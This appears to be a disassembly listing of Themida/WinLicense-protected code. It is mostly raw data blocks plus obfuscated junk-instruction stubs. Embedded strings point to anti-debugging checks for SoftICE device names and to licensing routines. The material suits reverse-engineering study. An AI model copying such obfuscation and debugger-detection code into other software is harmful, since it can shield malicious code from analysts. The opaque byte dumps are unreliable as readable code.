		dd 51241489h, 0FFBF19E9h, 0D0E95BFFh, 89FFFFF3h, 95E959CDh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565917:				; CODE XREF: Themida_:005523D0j
		pop	edx
		jmp	loc_554755
; ---------------------------------------------------------------------------
		db 0BDh, 2 dup(0FFh)
		dd 0EA29FFFFh, 0CEA815Dh, 8112F10Ch, 4ECh, 242C8900h, 0FEB974E9h
		dd 241C8BFFh, 0E904C483h, 288h,	0CC86E951h, 1C87FFFFh
		dd 0F0E95C24h, 5EFFFF5Bh, 76BD68h, 24148900h, 42474FFh
		dd 8324148Bh, 48F04C4h,	0B1E95C24h, 51FFFFBDh, 7F50FDB9h
		dd 9755E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56597A:				; CODE XREF: Themida_:0055FBFAj
		push	ebp
		jmp	loc_560190
; ---------------------------------------------------------------------------


loc_565980:				; CODE XREF: Themida_:0055B89Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55EDC9
; ---------------------------------------------------------------------------
		db 81h
		dd 427910EAh, 0E9C2013Ch, 0FFFF0BC4h, 0E9241433h, 0FFFEFF04h
; ---------------------------------------------------------------------------


loc_5659AC:				; CODE XREF: Themida_:005567D3j
		dec	edx
		sub	edx, 0DEDBC1DBh
		jmp	loc_558E3A
; ---------------------------------------------------------------------------
		dd 10FA6866h, 24148966h, 0FF19A5E9h, 243C89FFh,	17FFB9BFh
		dd 43E95239h, 8BFFFFBAh, 34E92424h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659DB:				; CODE XREF: Themida_:0055C0DCj
		mov	esp, [esp]
		add	esp, 4
		dec	dword ptr [esp]
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_5659EA:				; CODE XREF: Themida_:00560D28j
		mov	edi, esp
		push	ecx
		mov	ecx, 3C0A3978h
		add	ecx, 6F97747Eh
		or	ecx, 6BE14D94h
		add	ecx, 598159EBh
		sub	ecx, 456347DDh
		jmp	loc_55DCD7
; ---------------------------------------------------------------------------


loc_565A0F:				; CODE XREF: Themida_:00555310j
		add	esi, 2C523480h
		sub	esi, edi
		jmp	loc_559B07
; ---------------------------------------------------------------------------


loc_565A1C:				; CODE XREF: Themida_:0055FC2Dj
		pop	edx
		xor	ebx, 0B764EC1h
		push	43D4h
		mov	[esp], eax
		push	edi
		mov	edi, 525824D8h
		mov	eax, 6766663Eh
		jmp	loc_563F14
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 34895C24h, 0C93FE924h, 0CE81FFFEh, 1D576084h
		dd 0DF6E946h, 0F581FFFFh, 8523A652h, 0FEE277E9h, 2CF281FFh
		dd 8984288Fh, 0E8C15AD0h, 14F75003h, 24048B24h,	0FF1E3BE9h
		dd 80BDB6FFh, 8D2C06F6h, 8098B652h, 0F028DBF6h,	4F0285Ah
		dd 668D0443h, 6824148Bh, 54B8h,	54241C89h, 0F70CE95Bh
		dd 0EB80FFFFh, 51C32816h, 0FF5AABE9h, 26F780FFh, 685BFE20h
		dd 65B0h, 0B7241C89h, 2EFC0DEh,	5CE9C7FEh, 5DFFFFF9h, 63AF581h
		dd 0EB011957h, 0FFB641E9h, 895158FFh, 4C181E1h,	0E9000000h
		dd 0FFFFE3A9h, 98E3E951h, 0EE81FFFFh, 4, 0FF7364E9h, 66EA30FFh
		dd 56240C8Bh, 0C681E689h, 4, 2C681h, 34870000h,	0F2805C24h
		dd 5AD02863h, 6602EC83h, 53240C89h, 4EC81h, 4890000h, 8863B024h
		dd 3400E9C7h, 0E089FFFFh, 405h,	40500h,	33E90000h, 68FFFF55h
		dd 1AB1h, 0BE243489h, 57FE7EE9h, 4CE95755h, 83FFFEFFh
		dd 0D0F704C4h, 0C666C105h, 8369E957h, 3489FFFFh, 52ADBE24h
		dd 0DEF74160h, 54CBCE81h, 0DEF7153Ch, 5202E6C1h, 911F5CBAh
		dd 7FC28143h, 138D650h,	0D3E95AD6h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B8B:				; CODE XREF: Themida_:0055B843j
		pop	ebp
		mov	eax, ebx
		jmp	loc_55D7D2
; ---------------------------------------------------------------------------


loc_565B93:				; CODE XREF: Themida_:0056134Cj
		add	edi, ebx
		sub	edi, 28220FD3h
		pop	ebx
		push	eax
		jmp	loc_5518F8
; ---------------------------------------------------------------------------


loc_565BA2:				; CODE XREF: Themida_:00557CF5j
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 76781260h
		jmp	loc_559A7B
; ---------------------------------------------------------------------------


loc_565BAF:				; CODE XREF: Themida_:00558E35j
		xor	ecx, 57795930h
		jmp	loc_55F27E
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 81042454h, 5004246Ch, 0E92FC527h, 0FFFED618h, 12CD0F6h
		dd 0C7000004h, 0C0D7F658h, 0EF8003EFh, 90C78095h, 0F800DE2Ch
		dd 1C8BDE04h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 5324248Bh, 5AE9A5B7h, 68FFFFD1h, 25C13BFAh, 83240C8Bh
		dd 4C3104C4h, 0FF590424h, 0C8B2434h, 0E1895124h, 8904EC83h
		dd 4BF243Ch, 1000000h, 0CEE95FF9h, 68FFFED7h, 53B3h, 68240489h
		dd 3EA9h, 0E9242489h, 0FFFF3BF9h, 0CF81E7D1h, 62E6501Dh
		dd 4BCAF781h, 0A7E9C47Fh, 81FFFF10h, 313645F2h,	8BD78924h
		dd 0C4832414h, 8BFB2904h, 0C483243Ch, 241C8704h, 8924248Bh
		dd 0B8502434h, 5EDA5265h, 0DA5665BEh, 0FFC6315Eh, 83582434h
		dd 770904C4h, 2434FF1Ch, 4C4835Eh, 0FEB2C6E9h, 56685FFFh
		dd 89000004h, 59B82404h, 352ABD42h, 5299084Ah, 0CAEAE940h
		dd 0B850FFFEh, 5E2D351Eh, 48BC129h, 4C48324h, 0FFCF46E9h
		dd 4C781FFh, 0E9000000h, 0FFFEF52Fh
dword_565CD0	dd 0FF665566h, 66022474h, 0E9242C8Bh, 0FFFF3A73h, 253DCE81h
					; DATA XREF: Themida_:00550D20o
		dd 0EE813266h, 50AE5C92h, 4AF4C681h, 0BA525E5Ah, 35AF1E09h
		dd 0A3AEA81h, 0EAC109EFh, 81D2F708h, 8270F5CAh,	14B85012h
		dd 29D4A308h, 0D63158C2h, 0E9F7895Ah, 0FFFFA3AFh, 11E8h
		dd 2C38FD00h, 179745CDh, 0DCC0E028h, 5513411h, 0BF0FF59Bh
		dd 8E959D7h, 0A8000000h, 34C277AEh, 815CCB08h, 6C4CC1h
		dd 0CDBD2300h, 0BB06442Dh, 764E24Ah, 0C769EB81h, 0F2810764h
		dd 5D75C340h, 0B70F31FFh, 958B58F3h, 644286Dh, 0A6A8E881h
		dd 0FB8B381Fh, 0D3E2E881h, 0E96066F4h, 0Ch, 0CD83E3CFh
		dd 87022FA2h, 90B1D280h, 618ECD80h, 0FC63C081h,	6E82C08h
		dd 0D5000000h, 6834E28Bh, 4EE681EEh, 5F099EEAh,	89858950h
		dd 8F06441Fh, 0E983F901h, 0FBB70F01h, 89494949h, 442A759Dh
		dd 1EB8306h, 14850Fh, 1EE90000h, 0B6000000h, 0C8D8BB36h
		dd 5FD6F179h, 0DD025D44h, 45BE69B1h, 0E973DD38h, 0FFFFFF78h
		dd 90AF4933h, 5536EB00h, 33524553h, 6C642E32h, 4441006Ch
		dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh
		dd 0A07D700h, 12000400h, 4000A00h, 9F003500h, 0CAEA1C02h
		dd 9C9E904h, 86680000h,	0E9064698h, 0FFFDE78Eh,	46990D68h
		dd 0E784E906h, 268FFFDh, 0E906469Ah, 0FFFDE77Ah, 469B5868h
		dd 0E770E906h, 0C468FFFDh, 0E906469Bh, 0FFFDE766h, 469D1468h
		dd 0E75CE906h, 8668FFFDh, 0E906469Dh, 0FFFDE752h, 8A11B89h
		dd 0BF16CE36h, 12BB2181h, 0A009B32Ch, 15BC289Eh, 990FED37h
		dd 49BC822Bh, 950C329Bh, 53B08E27h, 187C3891h, 0E9FCD487h
		dd 11A3F5C2h, 0C05033C2h, 4B751175h, 0DFFE67DDh, 97360897h
		dd 0B697CF74h, 0AF9769F6h, 96E49CC6h, 0F050BE10h, 51403E4Ch
		dd 31C187CFh, 42BE80E4h, 29B6D29Ah, 0EFD629EBh,	6F920E30h
		dd 55DF49F0h, 82A382EFh, 4723A1Bh, 56FABC25h, 1E85BBDFh
		dd 4E0627BEh, 1967B52Ah, 8AB4F59Ah, 1332AB19h, 680C2D5Bh
		dd 4E8930Ch, 0C0E1E992h, 71D2EC88h, 0A1533FA0h,	5B7AD5C9h
		dd 3BA896F2h, 636AFB89h, 0F7E64CBCh, 0A02481BFh, 71EA4B05h
		dd 0B024BDA2h, 7E8h, 48E15BC9h,	0FF560E76h, 52FB61C1h
		dd 0E049F36Ch, 55FC68DEh, 0D94FAD77h, 89FCC26Bh, 0D54C72DBh
		dd 93F0CE67h, 583C78D1h, 0E9FC14C7h, 51E3B5C2h,	0F76ED64Fh
		dd 0F09421B1h, 772BED6Fh, 197D5CCFh, 0DA45BC27h, 0C2E9FD1Fh
		dd 0CCA889A8h, 0AE0A4EBEh, 0A19F0E50h, 7BD29A42h, 0E77EDE45h
		dd 864BBD83h, 1938A11Bh, 239FA138h, 200120B9h, 68ED5668h
		dd 0DE9D02FDh, 0EFC2EA7Ch, 6BCEEFCEh, 7BA9963Fh, 61E074EDh
		dd 42000007h, 0EBD57CE0h, 5E60C97Bh, 0EDD37AE2h, 5F61C874h
		dd 0F0D27BE9h, 12D23428h, 0A22285BBh, 6ECE350Bh, 0D88CF9C7h
		dd 0CE513571h, 0C2E9FB0Bh, 1558EABCh, 942BEE71h, 0BD9CC930h
		dd 949346D9h, 1534C930h, 4202635Dh, 0C480E5DBh,	0D6403B5Dh
		dd 0F4B01571h, 40DE01h,	4F6C0000h, 75C76ED6h, 309427EEh
		dd 0F173D0C9h, 0A4023C58h, 0D098B920h, 0D7B3FA96h, 0A85842A5h
		dd 0E0A82805h, 0DE961B84h, 7657CF74h, 7B52C12h,	8B3190AEh
		dd 6D28612h, 0DCE20000h, 4564FD67h, 2B15BF0Dh, 0BF9E07BDh
		dd 630FA7CDh, 165E6929h, 6D09BB28h, 3971F353h, 904AE6A0h
		dd 731A2B16h, 9FFBDAB7h, 73EC7A00h, 0DB7253CFh,	6DC480E5h
		dd 6A0E872Bh, 327392F5h, 96F2D3C9h, 0CF873DA8h,	8E2E95ABh
		dd 32AA1927h, 0F13095ABh, 2E65AB6Eh, 1C3D1CC9h,	0EDAEE3B9h
		dd 188C157Dh, 66Ch, 0CC65D74Dh,	7BD292F2h, 0D67FDD45h
		dd 6CC577E8h, 0D970F452h, 5DCB31FBh, 15704EE7h,	0C93806AFh
		dd 1F84BA13h, 2C480CA5h, 0E9FA08B3h, 2597C1C2h,	0F76ED64Fh
		dd 9C0FE193h, 6E27F9F3h, 39AB1826h, 0C6A2C6A0h,	2FE2A259h
		dd 420263C9h, 265D1534h, 0BE2145FCh, 0C92FE1FBh, 3AA5EDCCh
		dd 0C92FE465h, 60C7F1h,	0FD9501F4h, 0F1FFFFFEh,	8EF754CFh
		dd 4F6EF7D6h, 0D64FB507h, 21B1F76Eh, 2D6FF094h,	9CCF74B2h
		dd 77B467F8h, 2B15C2ECh, 162809BBh, 8BAA33A9h, 0AD4503AAh
		dd 0CC3A0460h, 0E8A08118h, 0A675138Ch, 5574C930h, 62A553CCh
		dd 7115C930h, 0ABA2B15h, 3061E695h, 8EC6E7C9h, 60C429F5h
		dd 9501F47Dh, 1C4h, 0EE56CFF1h,	0AC1E5677h, 0C05033C2h
		dd 6746F66Ah, 41F86703h, 8AC93094h, 1887E3ABh, 0CF749746h
		dd 79E6A687h, 9CC6AFA7h, 97F33AD6h, 1C853FA9h, 8E11753Dh
		dd 0EFD6A344h, 37FEF785h, 8ABD27C8h, 325632ABh,	8D8B6B40h
		dd 50CF5066h, 0EF563FA9h, 0D4B0322h, 724C2865h,	7D195113h
		dd 9A7998E2h, 58CFF1F5h, 4BD292F3h, 0F3D24B6Ah,	0C6E755CDh
		dd 87F8C6A2h, 42A39DD5h, 0B0152B82h, 9E07BD2Bh,	1B3B9EBFh
		dd 0A1A271EEh, 516AC38h, 0AD170000h, 2C98A60Fh,	0B32F11B8h
		dd 219EA009h, 0BA2C12BBh, 9781A30Ah, 288143A5h,	9C35AF16h
		dd 349D3FA2h, 822B990Ah, 7E3DA2C6h, 4FC2E9F9h, 9B37AB19h
		dd 8BE97612h, 0C2CF772Bh, 7CE387E3h, 0C2E9FDBDh, 3672F0Eh
		dd 0DD9C0367h, 0EEC2E9FCh, 2D97F1CFh, 0E3DD95B4h, 4B75DC80h
		dd 0C3FD64D8h, 7147E262h, 977BA916h, 4AA9A0Eh, 198B0000h
		dd 0D0340AA3h, 1F83BD14h, 0B52A14BDh, 3690AE07h, 1B05278Eh
		dd 0B41DC721h, 0A91B8Ah, 0B019C33Eh, 6AF158Eh, 2B92642h
		dd 0CBC2E9F9h, 71152F9Dh, 30942BEEh, 67F89CC9h,	0C93094B4h
		dd 5D153415h, 98070263h, 0C93093E1h, 73EACBEAh,	0F56CD84Dh
		dd 5FC9F793h, 0FBDA8AFAh, 0ACE460C5h, 724F4BD7h, 9BC93096h
		dd 0A096B72Dh, 1F4B245h, 0FFFD33EEh, 4CB48AFFh,	4F6AD890h
		dd 93F76ED6h, 0B67F54E1h, 0E34582F7h, 0CE70F4Ch, 5B1D5574h
		dd 5A0261B7h, 457B1F7Bh, 0DCFD64E0h, 46DF7DE2h,	0AB02F67h
		dd 0D1CF7444h, 29EBC5A3h, 0B5FD353Ch, 1A74B1C3h, 4EAD7EB6h
		dd 8AD60216h, 0C9E8C9E6h, 0FF600460h, 0C2EC653Ch, 56E4AC8Dh
		dd 1D79C8C2h, 3093D782h, 974DB8C9h, 0CE88C0E1h,	108FEB22h
		dd 0CF74974Eh, 9054B18Fh, 0D34C2809h, 0C2EC9228h, 0C5A180A1h
		dd 927B3EA1h, 6D4CC2ECh, 55FA6525h, 0A66B0405h,	78E7830Ah
		dd 2121513Ah, 0DF9A0561h, 0E8211937h, 0D6F781C9h, 2C69094Fh
		dd 0B2122C48h, 29930C32h, 46D991B0h, 275D72F4h,	2E107455h
		dd 0C2A60FB5h, 6DA4ABB0h, 2E5C3813h, 0AE9F2EBh,	0DDE3AB93h
		dd 6559FC68h, 93D3BC0Fh, 35A9E0Ah, 0E95B0000h, 80E4DA73h
		dd 0EF536DC4h, 65DAE44Dh, 6605EF7h, 4BD5F75Eh, 64CD77D1h
		dd 0D079EB5Ah, 60C973EEh, 0D67FE55Eh, 0B269F692h, 1BC2E9F7h
		dd 9B37FF4Dh, 0B1521141h, 724C22DBh, 0EB8FAE0Eh, 0BBF371D5h
		dd 0F0FC40DFh, 7051CF76h, 5B72A14h, 8D2F92ACh, 4EB92A14h
		dd 0E806B52Ah, 0E6C7C2E9h, 0E9E8C279h, 0B2A0BC2h, 0A92DACAEh
		dd 0DF4BD27Bh, 2E8h, 48E15BC9h,	0FF560E76h, 52FB61C1h
		dd 0E049F36Ch, 55FC68DEh, 0D94FAD77h, 89FCC26Bh, 0D54C72DBh
		dd 93F0CE67h, 583C78D1h, 0E9F714C7h, 51E3B5C2h,	76129B37h
		dd 32E97612h, 9BC93094h, 116DF2BAh, 7CCF772Ch, 395D395Dh
		dd 0E9FCF3A6h, 87F5D4C2h, 6446F9Ah, 17296164h, 0D99F36AEh
		dd 0F89CF83Dh, 0A304698Ah, 0C8F6CA41h, 5C7DE458h, 84DA8B14h
		dd 0D2F3C2EAh, 5113754Bh, 3192ACC8h, 158C38ACh,	0AD8C1534h
		dd 4EB886E5h, 858D4CD3h, 1F3EC2EAh, 0A13E5A3Eh,	0C2EA84FAh
		dd 13BAF2D3h, 62DA4977h
		dd 9A4D89FBh, 8127F87Dh, 6AEE8A0h, 328A96DCh, 9E0189CDh
		dd 0C2E9CBDBh, 0CDECCDECh, 0CC8B36A9h, 6D4CC2E9h, 6BF490F4h
		dd 0C2E9CCB0h, 4E703819h, 95F66FD5h, 22F283F1h,	185ABD14h
		dd 4FF56E50h, 0F96BD8E6h, 0A1E6D360h, 7B3EA1C5h, 4CC2EA41h
		dd 4104B728h, 0E4C5C2EAh, 2CF68DC5h, 47EE56CFh,	0E8545123h
		dd 0F31D94D6h, 0A42085BBh, 803BA4C0h, 49C2EA0Ch, 87B92068h
		dd 243AA321h, 0FD66D35Fh, 782AEB58h, 7B2D6C18h,	51F8D9F8h
		dd 0D24BF96Fh, 48335461h, 0AE152BDEh, 3625D44Bh, 87A6C2EAh
		dd 76D0EEA6h, 0EF5967CEh, 0FA88EC75h, 0C9035D29h, 48763E25h
		dd 2B926D9h, 0D9C2E9CCh, 0E9CC9346h, 631534C2h,	82FA6342h
		dd 66C02DF9h, 0FC6957FEh, 0CBE7920Dh, 0BFE4C2E9h, 0ED8F2962h
		dd 5DC2A6D0h, 0C2EA309Eh, 0E2F0E2Fh, 0EA910E6Ah, 0ABC2EA2Fh
		dd 0DEFF893Bh, 0F6B0F96h, 0EA2FE990h, 8BC3E2C2h, 5D97A714h
		dd 0C5512A7Bh, 0E049FB68h, 85E065DEh, 596746DFh, 315574E8h
		dd 910FCA55h, 86B80AFBh, 0CD85A420h, 48FC6A54h,	8E79EFD1h
		dd 0FB916A11h, 6342630Ah, 0E361C4FAh, 63E1447Ah, 0B08C96EDh
		dd 40A19FFBh, 0C83B059Ch, 8DAC8D14h, 0A7EF55B3h, 0CDBF52DCh
		dd 2F933057h, 6496E433h, 153370E5h, 73D0EEA6h, 6EF195F1h
		dd 0AFB88ABh, 294F3D1Ch, 8FC8E514h, 0E4802961h,	9D47BE80h
		dd 0FAFA5702h, 1951700Ah, 9F06BE27h, 98FC39D9h,	3F135507h
		dd 9D026611h, 10BF10DEh, 0F086CEEFh, 923E78D1h,	0ACE07F1Bh
		dd 0E11705A8h, 0FE6759C0h, 0EF8BEF46h, 0F980C970h, 6B23020Ah
		dd 0ED74F055h, 85CC3572h, 6C33E0Dh, 9E07269Eh, 79E46A0h
		dd 37AD1826h, 73BFC4AEh, 359843DCh, 10310C75h, 15017A31h
		dd 7D19CB38h, 0F145350Fh, 0A2EA4879h, 14D0350Bh, 69D34E70h
		dd 0E2DCB821h, 3DFC8D7Eh, 0C6264736h, 3091AFE7h, 166D158Ch
		dd 11B62F0Ch, 0B6970EB6h, 285A3E97h, 1DE721F1h,	2C125AD4h
		dd 0F0940DB7h, 91F257CEh, 2EBAF2D3h, 1Ch, 0BA2B159Ch, 1E7A420Ah
		dd 0C758BF20h, 0C9309414h, 0C7B594B5h, 6D335A03h, 18AAE213h
		dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h
		dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 0E08950EDh
		dd 3A4CBE56h, 0EE816525h, 60337EFEh, 44B6C681h,	0F001FB0Eh
		dd 4E8835Eh, 5C240487h,	81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 50241C89h, 405E089h,	83000000h, 48704E8h, 3C895C24h
		dd 83685024h, 586A3531h, 3DC9BB53h, 0C3817F0Fh,	1D02287Ah
		dd 895BD801h, 8B5458C3h, 0C483243Ch, 4815304h, 786E5324h
		dd 8478F08h, 0C45BD55h,	0F5815603h, 10296011h, 0D5F7EDD1h
		dd 0D5F7DDF7h, 0A787F581h, 6F29D492h, 34FF5D08h, 0C4815F24h
		dd 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		dd 0D0F38CF1h, 0B8FDD6EFh, 646A093h, 0E0FFC503h, 2AA5B9ECh
		dd 3544FE83h, 3B8C8664h, 2DA2A045h, 2D1730D8h, 1FE9E322h
		dd 68F3623Dh, 72E9h, 0BD836000h, 64431BDh, 5840F00h, 0E9000000h
		dd 5Dh,	3E80006Ah, 8850F30h, 6A000000h,	35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 1B29858Dh, 50900644h, 34895090h, 0FF006A24h,	44035D95h
		dd 0C6C36106h, 4402E985h, 3A684D06h, 819B385Fh,	176E2404h
		dd 0B5FF08FDh, 6440E25h, 3A65858Dh, 0D0FF0644h,	35D8589h
		dd 13E80644h, 5B000000h, 828B35FFh, 2B44AD19h, 1AD7C37Eh
		dd 2E343835h, 0B8660AD4h, 0B5AD522h, 441799B5h,	5EC28106h
		dd 66000062h, 3A63D081h, 1868BFh, 39858B00h, 8B06442Ch
		dd 0D19D890Ah, 8106442Bh, 933026F1h, 859D8B2Bh,	81064430h
		dd 0FB6289C1h, 81C68B15h, 33093DE9h, 0EE917h, 9EF0000h
		dd 5623512Ah, 9C62E0BAh, 0A20BA410h, 0BF0F0A89h, 0F5EA81D8h
		dd 8161EF2Fh, 0CC265EF3h, 0F1C2810Fh, 8961EF2Fh, 44221585h
		dd 1EF8306h, 1F850Fh, 9D8B0000h, 6440FF5h, 28E9h, 0C2B98300h
		dd 0EFA82AD6h, 0F8876A9Eh, 0DAC82303h, 0B8A45F76h, 7BDF80DFh
		dd 0FFFF7EE9h, 2D89B6FFh, 0C8B28D02h, 0D1B24CF3h, 0AAE905h
		dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
		dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
		dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
		dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
		dd 4E4963h, 636F7250h, 54554Fh,	74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 72858900h, 8D0646A3h
		dd 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h, 646A37Eh
		dd 0B5FF196Ah, 646A372h, 6A016Ah, 0A307858Dh, 0FF500646h
		dd 46A36EB5h, 0A995FF06h, 0FF064407h, 46A36EB5h, 7A95FF06h
		dd 0FF0646A3h, 46A36EB5h, 0F995FF06h, 0C3064413h, 0A3728589h
		dd 858D0646h, 646A36Eh,	0D8858D50h, 500646A2h, 168h, 7E95FF80h
		dd 6A0646A3h, 72858D04h, 500646A3h, 6A046Ah, 0A331858Dh
		dd 0FF500646h, 46A36EB5h, 0A995FF06h, 0FF064407h, 46A36EB5h
		dd 7A95FF06h, 0FF0646A3h, 46A36EB5h, 0F995FF06h, 0C3064413h
		dd 0A3728589h, 858D0646h, 646A36Eh, 0D8858D50h,	500646A2h
		dd 168h, 7E95FF80h, 6A0646A3h, 72858D04h, 500646A3h, 6A046Ah
		dd 0A319858Dh, 0FF500646h, 46A36EB5h, 0A995FF06h, 0FF064407h
		dd 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h,	0F995FF06h
		dd 0C3064413h, 0A3728589h, 858D0646h, 646A36Eh,	0D8858D50h
		dd 500646A2h, 168h, 7E95FF80h, 6A0646A3h, 72858D04h, 500646A3h
		dd 6A046Ah, 0A344858Dh,	0FF500646h, 46A36EB5h, 0A995FF06h
		dd 0FF064407h, 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h
		dd 0F995FF06h, 0C3064413h, 0A3728589h, 858D0646h, 646A36Eh
		dd 0D8858D50h, 500646A2h, 168h,	7E95FF80h, 6A0646A3h, 72858D04h
		dd 500646A3h, 6A046Ah, 0A2F4858Dh, 0FF500646h, 46A36EB5h
		dd 0A995FF06h, 0FF064407h, 46A36EB5h, 7A95FF06h, 0FF0646A3h
		dd 46A36EB5h, 0F995FF06h, 0C3064413h, 2F3DBD83h, 0F000644h
		dd 0B84h, 3D9D8B00h, 8306442Fh,	3894CC3h, 3DBD83C3h, 6442Fh
		dd 0B840Fh, 9D8B0000h, 6442F3Dh, 8950C383h, 0BD83C303h
		dd 6442F3Dh, 0B840F00h,	8B000000h, 442F3D9Dh, 54C38306h
		dd 83C30389h, 442F3DBDh, 840F0006h, 0Bh, 2F3D9D8Bh, 0C3830644h
		dd 0C3038958h, 2F3DBD83h, 0F000644h, 0B84h, 3D9D8B00h
		dd 8306442Fh, 3895CC3h,	8960C3C3h, 46A37285h, 6E858D06h
		dd 500646A3h, 0A2D8858Dh, 68500646h, 80000001h,	0A37E95FFh
		dd 46A0646h, 0A372858Dh, 6A500646h, 8D006A04h, 46A36985h
		dd 0B5FF5006h, 646A36Eh, 7A995FFh, 0BD830644h, 64420CDh
		dd 0C840F00h, 0FF000000h, 46A36EB5h, 7A95FF06h,	0FF0646A3h
		dd 46A36EB5h, 0F995FF06h, 61064413h, 858960C3h,	646A372h
		dd 0A36E858Dh, 8D500646h, 46A2D885h, 1685006h, 0FF800000h
		dd 46A37E95h, 8D046A06h, 46A37285h, 46A5006h, 858D006Ah
		dd 646A34Bh, 6EB5FF50h,	0FF0646A3h, 4407A995h, 0CDBD8306h
		dd 64420h, 0C840Fh, 0B5FF0000h,	646A36Eh, 0A37A95FFh, 0B5FF0646h
		dd 646A36Eh, 13F995FFh,	0C3610644h, 72858960h, 8D0646A3h
		dd 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h, 646A37Eh
		dd 858D046Ah, 646A372h,	6A046A50h, 52858D00h, 500646A3h
		dd 0A36EB5FFh, 95FF0646h, 64407A9h, 20CDBD83h, 0F000644h
		dd 0C84h, 6EB5FF00h, 0FF0646A3h, 46A37A95h, 6EB5FF06h
		dd 0FF0646A3h, 4413F995h, 60C36106h, 0A3728589h, 858D0646h
		dd 646A36Eh, 0D8858D50h, 500646A2h, 168h, 7E95FF80h, 6A0646A3h
		dd 72858D04h, 500646A3h, 6A046Ah, 0A35A858Dh, 0FF500646h
		dd 46A36EB5h, 0A995FF06h, 83064407h, 4420CDBDh,	840F0006h
		dd 0Ch,	0A36EB5FFh, 95FF0646h, 646A37Ah, 0A36EB5FFh, 95FF0646h
		dd 64413F9h, 8960C361h,	46A37285h, 6E858D06h, 500646A3h
		dd 0A2D8858Dh, 68500646h, 80000001h, 0A37E95FFh, 46A0646h
		dd 0A372858Dh, 6A500646h, 8D006A04h, 46A36185h,	0B5FF5006h
		dd 646A36Eh, 7A995FFh, 0BD830644h, 64420CDh, 0C840F00h
		dd 0FF000000h, 46A36EB5h, 7A95FF06h, 0FF0646A3h, 46A36EB5h
		dd 0F995FF06h, 61064413h, 85C760C3h, 646A372h, 1, 0A36E858Dh
		dd 8D500646h, 46A2D885h, 2685006h, 0FF800000h, 46A37E95h
		dd 0FC00B06h, 0F84h, 7285C700h,	646A3h,	0E9000000h, 4Dh
		dd 858D046Ah, 646A372h,	6A046A50h, 0EC858D00h, 500646A2h
		dd 0A36EB5FFh, 95FF0646h, 64407A9h, 840FC00Bh, 0Fh, 0A37285C7h
		dd 646h, 0AE90000h, 0C7000000h,	46A37285h, 106h, 6EB5FF00h
		dd 0FF0646A3h, 4413F995h, 858B6106h, 646A372h, 858960C3h
		dd 646A372h, 0A36E858Dh, 8D500646h, 46A2D885h, 1685006h
		dd 0FF800000h, 46A37E95h, 8D046A06h, 46A37285h,	46A5006h
		dd 858D006Ah, 646A2ECh,	6EB5FF50h, 0FF0646A3h, 4407A995h
		dd 0CDBD8306h, 64420h, 0C840Fh,	0B5FF0000h, 646A36Eh, 0A37A95FFh
		dd 0B5FF0646h, 646A36Eh, 13F995FFh, 0C3610644h,	72858960h
		dd 8D0646A3h, 46A36E85h, 858D5006h, 646A2D8h, 16850h, 95FF8000h
		dd 646A37Eh, 858D046Ah,	646A372h, 6A046A50h, 0FE858D00h
		dd 500646A2h, 0A36EB5FFh, 95FF0646h, 64407A9h, 20CDBD83h
		dd 0F000644h, 0C84h, 6EB5FF00h,	0FF0646A3h, 46A37A95h
		dd 6EB5FF06h, 0FF0646A3h, 4413F995h, 0C6C36106h, 4402E985h
		dd 7685206h, 0FFADE47Bh, 441D85B5h, 9995FF06h, 8906442Dh
		dd 46A37E85h, 0E985C606h, 52064402h, 2E00E568h,	85B5FF90h
		dd 0FF06441Dh, 442D9995h, 7A858906h, 0C60646A3h, 4402E985h
		dd 35685206h, 0FFB9BF12h, 441D85B5h, 9995FF06h,	8906442Dh
		dd 4407A985h, 0E985C606h, 52064402h, 78103468h,	85B5FF98h
		dd 0FF06441Dh, 442D9995h, 0F9858906h, 0C6064413h, 4402E985h
		dd 0D4685206h, 0FFC005DBh, 441D85B5h, 9995FF06h, 8906442Dh
		dd 4419E585h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 8BC08B00h
		dd 442D058Dh, 0CDBD8306h, 64420h, 0BD830975h, 6440B25h
		dd 50197400h, 0B8C08B53h, 40Fh,	2F58589h, 9D8D0644h, 646A84Fh
		dd 585BD3FFh, 0B25BD83h, 74000644h, 0B8535017h,	40Fh, 2F58589h
		dd 9D8D0644h, 646A53Eh,	585BD3FFh, 4658D33h, 95230644h
